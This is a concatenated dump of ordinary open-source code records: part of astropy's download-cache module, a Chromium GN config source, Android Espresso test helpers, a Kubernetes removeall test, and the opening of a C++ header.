pass\n elif isinstance(cache, str):\n raise ValueError(f\"Cache value '{cache}' was requested but \"\n f\"'update' is the only recognized string; \"\n f\"otherwise use a boolean\")\n else:\n filename = os.path.join(dldir, _url_to_dirname(url_key), \"contents\")\n if os.path.exists(filename):\n return os.path.abspath(filename)\n\n errors = {}\n for source_url in sources:\n try:\n f_name = _download_file_from_source(\n source_url,\n timeout=timeout,\n show_progress=show_progress,\n cache=cache,\n remote_url=remote_url,\n pkgname=pkgname,\n http_headers=http_headers)\n # Success!\n break\n\n except urllib.error.URLError as e:\n # errno 8 is from SSL \"EOF occurred in violation of protocol\"\n if (hasattr(e, 'reason')\n and hasattr(e.reason, 'errno')\n and e.reason.errno == 8):\n e.reason.strerror = (e.reason.strerror +\n '. requested URL: '\n + remote_url)\n e.reason.args = (e.reason.errno, e.reason.strerror)\n errors[source_url] = e\n except socket.timeout as e:\n # this isn't supposed to happen, but occasionally a socket.timeout\n # gets through. It's supposed to be caught in urllib and raised\n # in this way, but for some reason in mysterious circumstances it\n # doesn't (or didn't in python2?). So we'll just re-raise it here\n # instead.\n errors[source_url] = e\n else: # No success\n if not sources:\n raise KeyError(\n f\"No sources listed and file {remote_url} not in cache! \"\n f\"Please include primary URL in sources if you want it to be \"\n f\"included as a valid source.\")\n elif len(sources) == 1:\n raise errors[sources[0]]\n else:\n raise urllib.error.URLError(\n f\"Unable to open any source! Exceptions were {errors}\") \\\n from errors[sources[0]]\n\n if cache:\n try:\n return import_file_to_cache(url_key, f_name,\n remove_original=True,\n replace=(cache == 'update'),\n pkgname=pkgname)\n except PermissionError as e:\n # Cache is readonly, we can't update it\n missing_cache = (\n f\"Cache directory appears to be read-only ({e}), unable to import \"\n f\"downloaded file, providing data in temporary file {f_name} \"\n f\"instead.\")\n # FIXME: other kinds of cache problem can occur?\n\n if missing_cache:\n warn(CacheMissingWarning(missing_cache, f_name))\n if conf.delete_temporary_downloads_at_exit:\n global _tempfilestodel\n _tempfilestodel.append(f_name)\n return os.path.abspath(f_name)\n\n\ndef is_url_in_cache(url_key, pkgname='astropy'):\n \"\"\"Check if a download for ``url_key`` is in the cache.\n\n The provided ``url_key`` will be the name used in the cache. The contents\n may have been downloaded from this URL or from a mirror or they may have\n been provided by the user. See `~download_file` for details.\n\n Parameters\n ----------\n url_key : str\n The URL retrieved\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n\n\n Returns\n -------\n in_cache : bool\n `True` if a download for ``url_key`` is in the cache, `False` if not\n or if the cache does not exist at all.\n\n See Also\n --------\n cache_contents : obtain a dictionary listing everything in the cache\n \"\"\"\n try:\n dldir = _get_download_cache_loc(pkgname)\n except OSError:\n return False\n filename = os.path.join(dldir, _url_to_dirname(url_key), \"contents\")\n return os.path.exists(filename)\n\n\ndef cache_total_size(pkgname='astropy'):\n \"\"\"Return the total size in bytes of all files in the cache.\"\"\"\n size = 0\n dldir = _get_download_cache_loc(pkgname=pkgname)\n for root, dirs, files in os.walk(dldir):\n size += sum(os.path.getsize(os.path.join(root, name)) for name in files)\n return size\n\n\ndef _do_download_files_in_parallel(kwargs):\n with astropy.config.paths.set_temp_config(kwargs.pop(\"temp_config\")):\n with astropy.config.paths.set_temp_cache(kwargs.pop(\"temp_cache\")):\n return download_file(**kwargs)\n\n\ndef download_files_in_parallel(urls,\n cache=\"update\",\n show_progress=True,\n timeout=None,\n sources=None,\n multiprocessing_start_method=None,\n pkgname='astropy'):\n \"\"\"Download multiple files in parallel from the given URLs.\n\n Blocks until all files have downloaded. The result is a list of\n local file paths corresponding to the given urls.\n\n The results will be stored in the cache under the values in ``urls`` even\n if they are obtained from some other location via ``sources``. See\n `~download_file` for details.\n\n Parameters\n ----------\n urls : list of str\n The URLs to retrieve.\n\n cache : bool or \"update\", optional\n Whether to use the cache (default is `True`). If \"update\",\n always download the remote URLs to see if new data is available\n and store the result in cache.\n\n .. versionchanged:: 4.0\n The default was changed to ``\"update\"`` and setting it to\n ``False`` will print a Warning and set it to ``\"update\"`` again,\n because the function will not work properly without cache. Using\n ``True`` will work as expected.\n\n .. versionchanged:: 3.0\n The default was changed to ``True`` and setting it to ``False``\n will print a Warning and set it to ``True`` again, because the\n function will not work properly without cache.\n\n show_progress : bool, optional\n Whether to display a progress bar during the download (default\n is `True`)\n\n timeout : float, optional\n Timeout for each individual requests in seconds (default is the\n configurable `astropy.utils.data.Conf.remote_timeout`). Set this to\n zero to prevent any attempt to download anything.\n\n sources : dict, optional\n If provided, for each URL a list of URLs to try to obtain the\n file from. The result will be stored under the original URL.\n For any URL in this dictionary, the original URL will *not* be\n tried unless it is in this list; this is to prevent long waits\n for a primary server that is known to be inaccessible at the\n moment.\n\n multiprocessing_start_method : str, optional\n Useful primarily for testing; if in doubt leave it as the default.\n When using multiprocessing, certain anomalies occur when starting\n processes with the \"spawn\" method (the only option on Windows);\n other anomalies occur with the \"fork\" method (the default on\n Linux).\n\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n\n Returns\n -------\n paths : list of str\n The local file paths corresponding to the downloaded URLs.\n\n Notes\n -----\n If a URL is unreachable, the downloading will grind to a halt and the\n exception will propagate upward, but an unpredictable number of\n files will have been successfully downloaded and will remain in\n the cache.\n \"\"\"\n from .console import ProgressBar\n\n if timeout is None:\n timeout = conf.remote_timeout\n if sources is None:\n sources = {}\n\n if not cache:\n # See issue #6662, on windows won't work because the files are removed\n # again before they can be used. On *NIX systems it will behave as if\n # cache was set to True because multiprocessing cannot insert the items\n # in the list of to-be-removed files. This could be fixed, but really,\n # just use the cache, with update_cache if appropriate.\n warn('Disabling the cache does not work because of multiprocessing, '\n 'it will be set to ``\"update\"``. You may need to manually remove '\n 'the cached files with clear_download_cache() afterwards.',\n AstropyWarning)\n cache = \"update\"\n\n if show_progress:\n progress = sys.stdout\n else:\n progress = io.BytesIO()\n\n # Combine duplicate URLs\n combined_urls = list(set(urls))\n combined_paths = ProgressBar.map(\n _do_download_files_in_parallel,\n [dict(remote_url=u,\n cache=cache,\n show_progress=False,\n timeout=timeout,\n sources=sources.get(u, None),\n pkgname=pkgname,\n temp_cache=astropy.config.paths.set_temp_cache._temp_path,\n temp_config=astropy.config.paths.set_temp_config._temp_path)\n for u in combined_urls],\n file=progress,\n multiprocess=True,\n multiprocessing_start_method=multiprocessing_start_method,\n )\n paths = []\n for url in urls:\n paths.append(combined_paths[combined_urls.index(url)])\n return paths\n\n\n# This is used by download_file and _deltemps to determine the files to delete\n# when the interpreter exits\n_tempfilestodel = []\n\n\n@atexit.register\ndef _deltemps():\n\n global _tempfilestodel\n\n if _tempfilestodel is not None:\n while len(_tempfilestodel) > 0:\n fn = _tempfilestodel.pop()\n if os.path.isfile(fn):\n try:\n os.remove(fn)\n except OSError:\n # oh well we tried\n # could be held open by some process, on Windows\n pass\n elif os.path.isdir(fn):\n try:\n shutil.rmtree(fn)\n except OSError:\n # couldn't get rid of it, sorry\n # could be held open by some process, on Windows\n pass\n\n\ndef clear_download_cache(hashorurl=None, pkgname='astropy'):\n \"\"\"Clears the data file cache by deleting the local file(s).\n\n If a URL is provided, it will be the name used in the cache. The contents\n may have been downloaded from this URL or from a mirror or they may have\n been provided by the user. See `~download_file` for details.\n\n For the purposes of this function, a file can also be identified by a hash\n of its contents or by the filename under which the data is stored (as\n returned by `~download_file`, for example).\n\n Parameters\n ----------\n hashorurl : str or None\n If None, the whole cache is cleared. Otherwise, specify\n a hash for the cached file that is supposed to be deleted,\n the full path to a file in the cache that should be deleted,\n or a URL that should be removed from the cache if present.\n\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n \"\"\"\n try:\n dldir = _get_download_cache_loc(pkgname)\n except OSError as e:\n # Problem arose when trying to open the cache\n # Just a warning, though\n msg = 'Not clearing data cache - cache inaccessible due to '\n estr = '' if len(e.args) < 1 else (': ' + str(e))\n warn(CacheMissingWarning(msg + e.__class__.__name__ + estr))\n return\n try:\n if hashorurl is None:\n # Optional: delete old incompatible caches too\n _rmtree(dldir)\n elif _is_url(hashorurl):\n filepath = os.path.join(dldir, _url_to_dirname(hashorurl))\n _rmtree(filepath)\n else:\n # Not a URL, it should be either a filename or a hash\n filepath = os.path.join(dldir, hashorurl)\n rp = os.path.relpath(filepath, dldir)\n if rp.startswith(\"..\"):\n raise RuntimeError(\n f\"attempted to use clear_download_cache on the path \"\n f\"{filepath} outside the data cache directory {dldir}\")\n d, f = os.path.split(rp)\n if d and f in [\"contents\", \"url\"]:\n # It's a filename not the hash of a URL\n # so we want to zap the directory containing the\n # files \"url\" and \"contents\"\n filepath = os.path.join(dldir, d)\n if os.path.exists(filepath):\n _rmtree(filepath)\n elif (len(hashorurl) == 2*hashlib.md5().digest_size\n and re.match(r\"[0-9a-f]+\", hashorurl)):\n # It's the hash of some file contents, we have to find the right file\n filename = _find_hash_fn(hashorurl)\n if filename is not None:\n clear_download_cache(filename)\n except OSError as e:\n msg = 'Not clearing data from cache - problem arose '\n estr = '' if len(e.args) < 1 else (': ' + str(e))\n warn(CacheMissingWarning(msg + e.__class__.__name__ + estr))\n\n\ndef _get_download_cache_loc(pkgname='astropy'):\n \"\"\"Finds the path to the cache directory and makes them if they don't exist.\n\n Parameters\n ----------\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n\n Returns\n -------\n datadir : str\n The path to the data cache directory.\n \"\"\"\n try:\n datadir = os.path.join(astropy.config.paths.get_cache_dir(pkgname), 'download', 'url')\n\n if not os.path.exists(datadir):\n try:\n os.makedirs(datadir)\n except OSError:\n if not os.path.exists(datadir):\n raise\n elif not os.path.isdir(datadir):\n raise OSError(f'Data cache directory {datadir} is not a directory')\n\n return datadir\n except OSError as e:\n msg = 'Remote data cache could not be accessed due to '\n estr = '' if len(e.args) < 1 else (': ' + str(e))\n warn(CacheMissingWarning(msg + e.__class__.__name__ + estr))\n raise\n\n\ndef _url_to_dirname(url):\n if not _is_url(url):\n raise ValueError(f\"Malformed URL: '{url}'\")\n # Make domain names case-insensitive\n # Also makes the http:// case-insensitive\n urlobj = list(urllib.parse.urlsplit(url))\n urlobj[1] = urlobj[1].lower()\n if urlobj[0].lower() in ['http', 'https'] and urlobj[1] and urlobj[2] == '':\n urlobj[2] = '/'\n url_c = urllib.parse.urlunsplit(urlobj)\n return hashlib.md5(url_c.encode(\"utf-8\")).hexdigest()\n\n\nclass ReadOnlyDict(dict):\n def __setitem__(self, key, value):\n raise TypeError(\"This object is read-only.\")\n\n\n_NOTHING = ReadOnlyDict({})\n\n\nclass CacheDamaged(ValueError):\n \"\"\"Record the URL or file that was a problem.\n Using clear_download_cache on the .bad_file or .bad_url attribute,\n whichever is not None, should resolve this particular problem.\n \"\"\"\n def __init__(self, *args, bad_urls=None, bad_files=None, **kwargs):\n super().__init__(*args, **kwargs)\n self.bad_urls = bad_urls if bad_urls is not None else []\n self.bad_files = bad_files if bad_files is not None else []\n\n\ndef check_download_cache(check_hashes=False, pkgname='astropy'):\n \"\"\"Do a consistency check on the cache.\n\n Because the cache is shared by all versions of astropy in all virtualenvs\n run by your user, possibly concurrently, it could accumulate problems.\n This could lead to hard-to-debug problems or wasted space. This function\n detects a number of incorrect conditions, including nonexistent files that\n are indexed, files that are indexed but in the wrong place, and, if you\n request it, files whose content does not match the hash that is indexed.\n\n This function also returns a list of non-indexed files. A few will be\n associated with the shelve object; their exact names depend on the backend\n used but will probably be based on ``urlmap``. The presence of other files\n probably indicates that something has gone wrong and inaccessible files\n have accumulated in the cache. These can be removed with\n `clear_download_cache`, either passing the filename returned here, or\n with no arguments to empty the entire cache and return it to a\n reasonable, if empty, state.\n\n Parameters\n ----------\n check_hashes : boolean, optional\n Deprecated; does nothing.\n\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n\n Returns\n -------\n strays : set\n Deprecated. The empty set.\n\n Raises\n ------\n CacheDamaged\n To indicate a problem with the cache contents; the exception contains\n a ``.bad_files`` attribute containing a set of filenames to allow the\n user to use `clear_download_cache` to remove the offending items.\n OSError, RuntimeError\n To indicate some problem with the cache structure. This may need a full\n `clear_download_cache` to resolve, or may indicate some kind of\n misconfiguration.\n \"\"\"\n bad_files = set()\n messages = set()\n dldir = _get_download_cache_loc(pkgname=pkgname)\n with os.scandir(dldir) as it:\n for entry in it:\n f = os.path.abspath(os.path.join(dldir, entry.name))\n if entry.name.startswith(\"rmtree-\"):\n if f not in _tempfilestodel:\n bad_files.add(f)\n messages.add(f\"Cache entry {entry.name} not scheduled for deletion\")\n elif entry.is_dir():\n for sf in os.listdir(f):\n if sf in ['url', 'contents']:\n continue\n sf = os.path.join(f, sf)\n bad_files.add(sf)\n messages.add(f\"Unexpected file f{sf}\")\n urlf = os.path.join(f, \"url\")\n url = None\n if not os.path.isfile(urlf):\n bad_files.add(urlf)\n messages.add(f\"Problem with URL file f{urlf}\")\n else:\n url = get_file_contents(urlf, encoding=\"utf-8\")\n if not _is_url(url):\n bad_files.add(f)\n messages.add(f\"Malformed URL: {url}\")\n else:\n hashname = _url_to_dirname(url)\n if entry.name != hashname:\n bad_files.add(f)\n messages.add(f\"URL hashes to {hashname} but is stored in {entry.name}\")\n if not os.path.isfile(os.path.join(f, \"contents\")):\n bad_files.add(f)\n if url is None:\n messages.add(f\"Hash {entry.name} is missing contents\")\n else:\n messages.add(f\"URL {url} with hash {entry.name} is missing contents\")\n else:\n bad_files.add(f)\n messages.add(f\"Left-over non-directory {f} in cache\")\n if bad_files:\n raise CacheDamaged(\"\\n\".join(messages), bad_files=bad_files)\n return set()\n\n\n@contextlib.contextmanager\ndef _SafeTemporaryDirectory(suffix=None, prefix=None, dir=None):\n \"\"\"Temporary directory context manager\n\n This will not raise an exception if the temporary directory goes away\n before it's supposed to be deleted. Specifically, what is deleted will\n be the directory *name* produced; if no such directory exists, no\n exception will be raised.\n\n It would be safer to delete it only if it's really the same directory\n - checked by file descriptor - and if it's still called the same thing.\n But that opens a platform-specific can of worms.\n\n It would also be more robust to use ExitStack and TemporaryDirectory,\n which is more aggressive about removing readonly things.\n \"\"\"\n d = mkdtemp(suffix=suffix, prefix=prefix, dir=dir)\n try:\n yield d\n finally:\n try:\n shutil.rmtree(d)\n except OSError:\n pass\n\n\ndef _rmtree(path, replace=None):\n \"\"\"More-atomic rmtree. Ignores missing directory.\"\"\"\n with TemporaryDirectory(prefix=\"rmtree-\",\n dir=os.path.dirname(os.path.abspath(path))) as d:\n try:\n os.rename(path, os.path.join(d, \"to-zap\"))\n except FileNotFoundError:\n pass\n except PermissionError:\n warn(CacheMissingWarning(\n f\"Unable to remove directory {path} because a file in it \"\n f\"is in use and you are on Windows\", path))\n raise\n if replace is not None:\n try:\n os.rename(replace, path)\n except FileExistsError:\n # already there, fine\n pass\n except OSError as e:\n if e.errno == errno.ENOTEMPTY:\n # already there, fine\n pass\n else:\n raise\n\n\ndef import_file_to_cache(url_key, filename,\n hexdigest=None,\n remove_original=False,\n pkgname='astropy',\n *,\n replace=True):\n \"\"\"Import the on-disk file specified by filename to the cache.\n\n The provided ``url_key`` will be the name used in the cache. The file\n should contain the contents of this URL, at least notionally (the URL may\n be temporarily or permanently unavailable). It is using ``url_key`` that\n users will request these contents from the cache. See `~download_file` for\n details.\n\n If ``url_key`` already exists in the cache, it will be updated to point to\n these imported contents, and its old contents will be deleted from the\n cache.\n\n Parameters\n ----------\n url_key : str\n The key to index the file under. This should probably be\n the URL where the file was located, though if you obtained\n it from a mirror you should use the URL of the primary\n location.\n filename : str\n The file whose contents you want to import.\n hexdigest : ignored\n Deprecated, has no effect.\n remove_original : bool\n Whether to remove the original file (``filename``) once import is\n complete.\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n replace : boolean, optional\n Whether or not to replace an existing object in the cache, if one exists.\n If replacement is not requested but the object exists, silently pass.\n \"\"\"\n cache_dir = _get_download_cache_loc(pkgname=pkgname)\n cache_dirname = _url_to_dirname(url_key)\n local_dirname = os.path.join(cache_dir, cache_dirname)\n local_filename = os.path.join(local_dirname, \"contents\")\n with _SafeTemporaryDirectory(prefix=\"temp_dir\", dir=cache_dir) as temp_dir:\n temp_filename = os.path.join(temp_dir, \"contents\")\n # Make sure we're on the same filesystem\n # This will raise an exception if the url_key doesn't turn into a valid filename\n shutil.copy(filename, temp_filename)\n with open(os.path.join(temp_dir, \"url\"), \"wt\", encoding=\"utf-8\") as f:\n f.write(url_key)\n if replace:\n _rmtree(local_dirname, replace=temp_dir)\n else:\n try:\n os.rename(temp_dir, local_dirname)\n except FileExistsError:\n # already there, fine\n pass\n except OSError as e:\n if e.errno == errno.ENOTEMPTY:\n # already there, fine\n pass\n else:\n raise\n if remove_original:\n os.remove(filename)\n return os.path.abspath(local_filename)\n\n\ndef get_cached_urls(pkgname='astropy'):\n \"\"\"\n Get the list of URLs in the cache. Especially useful for looking up what\n files are stored in your cache when you don't have internet access.\n\n The listed URLs are the keys programs should use to access the file\n contents, but those contents may have actually been obtained from a mirror.\n See `~download_file` for details.\n\n Parameters\n ----------\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n\n Returns\n -------\n cached_urls : list\n List of cached URLs.\n\n See Also\n --------\n cache_contents : obtain a dictionary listing everything in the cache\n \"\"\"\n return sorted(cache_contents(pkgname=pkgname).keys())\n\n\ndef cache_contents(pkgname='astropy'):\n \"\"\"Obtain a dict mapping cached URLs to filenames.\n\n This dictionary is a read-only snapshot of the state of the cache when this\n function was called. If other processes are actively working with the\n cache, it is possible for them to delete files that are listed in this\n dictionary. Use with some caution if you are working on a system that is\n busy with many running astropy processes, although the same issues apply to\n most functions in this module.\n \"\"\"\n r = {}\n try:\n dldir = _get_download_cache_loc(pkgname=pkgname)\n except OSError:\n return _NOTHING\n with os.scandir(dldir) as it:\n for entry in it:\n if entry.is_dir:\n url = get_file_contents(os.path.join(dldir, entry.name, \"url\"), encoding=\"utf-8\")\n r[url] = os.path.abspath(os.path.join(dldir, entry.name, \"contents\"))\n return ReadOnlyDict(r)\n\n\ndef export_download_cache(filename_or_obj, urls=None, overwrite=False, pkgname='astropy'):\n \"\"\"Exports the cache contents as a ZIP file.\n\n Parameters\n ----------\n filename_or_obj : str or file-like\n Where to put the created ZIP file. Must be something the zipfile\n module can write to.\n urls : iterable of str or None\n The URLs to include in the exported cache. The default is all\n URLs currently in the cache. If a URL is included in this list\n but is not currently in the cache, a KeyError will be raised.\n To ensure that all are in the cache use `~download_file`\n or `~download_files_in_parallel`.\n overwrite : bool, optional\n If filename_or_obj is a filename that exists, it will only be\n overwritten if this is True.\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n\n See Also\n --------\n import_download_cache : import the contents of such a ZIP file\n import_file_to_cache : import a single file directly\n \"\"\"\n if urls is None:\n urls = get_cached_urls(pkgname)\n with zipfile.ZipFile(filename_or_obj, 'w' if overwrite else 'x') as z:\n for u in urls:\n fn = download_file(u, cache=True, sources=[], pkgname=pkgname)\n # Do not use os.path.join because ZIP files want\n # \"/\" on all platforms\n z_fn = urllib.parse.quote(u, safe=\"\")\n z.write(fn, z_fn)\n\n\ndef import_download_cache(filename_or_obj, urls=None, update_cache=False, pkgname='astropy'):\n \"\"\"Imports the contents of a ZIP file into the cache.\n\n Each member of the ZIP file should be named by a quoted version of the\n URL whose contents it stores. These names are decoded with\n :func:`~urllib.parse.unquote`.\n\n Parameters\n ----------\n filename_or_obj : str or file-like\n Where the stored ZIP file is. Must be something the :mod:`~zipfile`\n module can read from.\n urls : set of str or list of str or None\n The URLs to import from the ZIP file. The default is all\n URLs in the file.\n update_cache : bool, optional\n If True, any entry in the ZIP file will overwrite the value in the\n cache; if False, leave untouched any entry already in the cache.\n pkgname : `str`, optional\n The package name to use to locate the download cache. i.e. for\n ``pkgname='astropy'`` the default cache location is\n ``~/.astropy/cache``.\n\n See Also\n --------\n export_download_cache : export the contents the cache to of such a ZIP file\n import_file_to_cache : import a single file directly\n \"\"\"\n with zipfile.ZipFile(filename_or_obj, 'r') as z, TemporaryDirectory() as d:\n for i, zf in enumerate(z.infolist()):\n url = urllib.parse.unquote(zf.filename)\n # FIXME(aarchiba): do we want some kind of validation on this URL?\n # urllib.parse might do something sensible...but what URLs might\n # they have?\n # is_url in this file is probably a good check, not just here\n # but throughout this file.\n if urls is not None and url not in urls:\n continue\n if not update_cache and is_url_in_cache(url, pkgname=pkgname):\n continue\n f_temp_name = os.path.join(d, str(i))\n with z.open(zf) as f_zip, open(f_temp_name, \"wb\") as f_temp:\n block = f_zip.read(conf.download_block_size)\n while block:\n f_temp.write(block)\n block = f_zip.read(conf.download_block_size)\n import_file_to_cache(url, f_temp_name,\n remove_original=True,\n pkgname=pkgname)\n"} +{"text": "// Copyright (c) 2013 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"tools/gn/config.h\"\n\n#include \"tools/gn/err.h\"\n#include \"tools/gn/input_file_manager.h\"\n#include \"tools/gn/scheduler.h\"\n\nConfig::Config(const Settings* settings, const Label& label)\n : Item(settings, label) {\n}\n\nConfig::~Config() {\n}\n\nConfig* Config::AsConfig() {\n return this;\n}\n\nconst Config* Config::AsConfig() const {\n return this;\n}\n"} +{"text": "/*\n * Copyright (C) 2020 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.android.permissioncontroller\n\nimport android.view.View\nimport android.widget.TextView\nimport androidx.preference.R\nimport androidx.recyclerview.widget.RecyclerView\nimport androidx.test.espresso.Espresso.onView\nimport androidx.test.espresso.UiController\nimport androidx.test.espresso.ViewAction\nimport androidx.test.espresso.contrib.RecyclerViewActions.scrollTo\nimport androidx.test.espresso.matcher.ViewMatchers.hasDescendant\nimport androidx.test.espresso.matcher.ViewMatchers.hasSibling\nimport androidx.test.espresso.matcher.ViewMatchers.withId\nimport androidx.test.espresso.matcher.ViewMatchers.withResourceName\nimport androidx.test.espresso.matcher.ViewMatchers.withText\nimport org.hamcrest.Matchers\nimport org.hamcrest.Matchers.allOf\n\n/**\n * Get a {@link ViewAction} that runs a command on a view.\n *\n * @param onViewAction action to run on the view\n */\nfun runOnView(onViewAction: (T) -> Unit): ViewAction {\n return object : ViewAction {\n override fun getDescription() = \"run on view\"\n\n override fun getConstraints() = Matchers.any(View::class.java)\n\n override fun perform(uiController: UiController, view: View) {\n onViewAction(view as T)\n }\n }\n}\n\n/**\n * Scroll until a preference is visible.\n *\n * @param title title of the preference\n */\nfun scrollToPreference(title: CharSequence) {\n onView(withId(R.id.recycler_view))\n .perform(scrollTo(\n hasDescendant(withText(title.toString()))))\n}\n\n/**\n * Make sure a preference cannot be found.\n *\n * @param title title of the preference\n */\nfun assertDoesNotHavePreference(title: CharSequence) {\n try {\n scrollToPreference(title)\n } catch (e: Exception) {\n return\n }\n\n throw AssertionError(\"View with title $title was found\")\n}\n\n/**\n * Get summary of preference.\n *\n * @param title title of the preference\n *\n * @return summary of preference\n */\nfun getPreferenceSummary(title: CharSequence): CharSequence {\n lateinit var summary: CharSequence\n\n onView(allOf(hasSibling(withText(title.toString())), withResourceName(\"summary\")))\n .perform(runOnView { summary = it.text })\n\n return summary\n}\n"} +{"text": "/*\nCopyright 2017 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage removeall\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\t\"testing\"\n\n\tutiltesting \"k8s.io/client-go/util/testing\"\n\t\"k8s.io/kubernetes/pkg/util/mount\"\n)\n\ntype fakeMounter struct{}\n\nvar _ mount.Interface = &fakeMounter{}\n\nfunc (mounter *fakeMounter) Mount(source string, target string, fstype string, options []string) error {\n\treturn errors.New(\"not implemented\")\n}\nfunc (mounter *fakeMounter) Unmount(target string) error {\n\treturn errors.New(\"not implemented\")\n}\nfunc (mounter *fakeMounter) List() ([]mount.MountPoint, error) {\n\treturn nil, errors.New(\"not implemented\")\n}\nfunc (mounter fakeMounter) DeviceOpened(pathname string) (bool, error) {\n\treturn false, errors.New(\"not implemented\")\n}\nfunc (mounter *fakeMounter) PathIsDevice(pathname string) (bool, error) {\n\treturn false, errors.New(\"not implemented\")\n}\nfunc (mounter *fakeMounter) GetDeviceNameFromMount(mountPath, pluginDir string) (string, error) {\n\treturn \"\", errors.New(\"not implemented\")\n}\nfunc (mounter *fakeMounter) IsMountPointMatch(mp mount.MountPoint, dir string) bool {\n\treturn (mp.Path == dir)\n}\nfunc (mounter *fakeMounter) IsNotMountPoint(dir string) (bool, error) {\n\treturn mount.IsNotMountPoint(mounter, dir)\n}\nfunc (mounter *fakeMounter) IsLikelyNotMountPoint(file string) (bool, error) {\n\tname := path.Base(file)\n\tif strings.HasPrefix(name, \"mount\") {\n\t\treturn false, nil\n\t}\n\tif strings.HasPrefix(name, \"err\") {\n\t\treturn false, errors.New(\"mock error\")\n\t}\n\treturn true, nil\n}\n\nfunc TestRemoveAllOneFilesystem(t *testing.T) {\n\ttests := []struct {\n\t\tname string\n\t\t// Items of the test directory. Directories end with \"/\".\n\t\t// Directories starting with \"mount\" are considered to be mount points.\n\t\t// Directories starting with \"err\" will cause an error in\n\t\t// IsLikelyNotMountPoint.\n\t\titems []string\n\t\texpectError bool\n\t}{\n\t\t{\n\t\t\t\"empty dir\",\n\t\t\t[]string{},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"non-mount\",\n\t\t\t[]string{\n\t\t\t\t\"dir/\",\n\t\t\t\t\"dir/file\",\n\t\t\t\t\"dir2/\",\n\t\t\t\t\"file2\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"mount\",\n\t\t\t[]string{\n\t\t\t\t\"dir/\",\n\t\t\t\t\"dir/file\",\n\t\t\t\t\"dir2/\",\n\t\t\t\t\"file2\",\n\t\t\t\t\"mount/\",\n\t\t\t\t\"mount/file3\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"innermount\",\n\t\t\t[]string{\n\t\t\t\t\"dir/\",\n\t\t\t\t\"dir/file\",\n\t\t\t\t\"dir/dir2/\",\n\t\t\t\t\"dir/dir2/file2\",\n\t\t\t\t\"dir/dir2/mount/\",\n\t\t\t\t\"dir/dir2/mount/file3\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"error\",\n\t\t\t[]string{\n\t\t\t\t\"dir/\",\n\t\t\t\t\"dir/file\",\n\t\t\t\t\"dir2/\",\n\t\t\t\t\"file2\",\n\t\t\t\t\"err/\",\n\t\t\t\t\"err/file3\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\ttmpDir, err := utiltesting.MkTmpdir(\"removeall-\" + test.name + \"-\")\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Can't make a tmp dir: %v\", err)\n\t\t}\n\t\tdefer os.RemoveAll(tmpDir)\n\t\t// Create the directory structure\n\t\tfor _, item := range test.items {\n\t\t\tif strings.HasSuffix(item, \"/\") {\n\t\t\t\titem = strings.TrimRight(item, \"/\")\n\t\t\t\tif err = os.Mkdir(path.Join(tmpDir, item), 0777); err != nil {\n\t\t\t\t\tt.Fatalf(\"error creating %s: %v\", item, err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tf, err := os.Create(path.Join(tmpDir, item))\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Fatalf(\"error creating %s: %v\", item, err)\n\t\t\t\t}\n\t\t\t\tf.Close()\n\t\t\t}\n\t\t}\n\n\t\tmounter := &fakeMounter{}\n\t\terr = RemoveAllOneFilesystem(mounter, tmpDir)\n\t\tif err == nil && test.expectError {\n\t\t\tt.Errorf(\"test %q failed: expected error and got none\", test.name)\n\t\t}\n\t\tif err != nil && !test.expectError {\n\t\t\tt.Errorf(\"test %q failed: unexpected error: %v\", test.name, err)\n\t\t}\n\t}\n}\n\nfunc (mounter *fakeMounter) PrepareSafeSubpath(subPath mount.Subpath) (newHostPath string, cleanupAction func(), err error) {\n\treturn \"\", nil, nil\n}\n\nfunc (mounter *fakeMounter) CleanSubPaths(_, _ string) error {\n\treturn nil\n}\n\nfunc (mounter *fakeMounter) SafeMakeDir(_, _ string, _ os.FileMode) error {\n\treturn nil\n}\n"} +{"text": "#ifndef BR_GUI_UTILITY_H\r\n#define BR_GUI_UTILITY_H\r\n\r\n#include \r\n#include \r\n#include \r\n\r\n#include 